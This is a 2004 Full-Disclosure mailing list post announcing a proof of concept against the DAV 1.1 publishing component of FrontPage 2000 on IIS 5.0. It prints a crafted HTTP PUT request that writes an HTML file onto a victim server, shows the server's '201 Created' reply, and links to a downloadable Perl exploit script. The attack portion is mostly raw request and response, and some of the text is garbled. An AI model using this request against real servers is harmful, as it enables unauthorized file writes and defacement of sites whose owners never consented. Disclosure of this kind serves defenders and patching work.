[Full-Disclosure] Microsoft Data Access Dav1.1 PoC

["CorryL" <corryl@xxxxxxxxxxxxx>]

Microsoft DATA Access Internet Publishing Service Provider DAV 1.1 component
of frontpage2000 is vulnerable to a special request of PUT a remote attacker
using this bug succeeds to write some
code html to the inside of the server victim

Proof Of Concept:
The remote attacker using the special request of PUT
write the html page in the Victim Server.

PUT /file.htm HTTP/1.0 Accept-Language: en-us;q=0.5 Translate: f
Content-Length:17 User-Agent: Microsoft Data Access Internet Publishing
Provider DAV 1.1 Host: www.hotst-victim.com Html Code

Response to the Server:

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 30 Dec 2004 22:29:36 GMT
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://192.168.0.3/vulne.htm
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH,
SEARCH, LOCK, UNLOCK

The exploit download from http://hosting.xoned.org/upload/DAV1.1-PoC.pl

Happy New Year By x0n3-h4ck

For info:
CorryL
corryl80@xxxxxxxxx
www.x0n3-h4ck.tk Italian Security Team

_________________________________
www.seekstat.it is your web stat
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html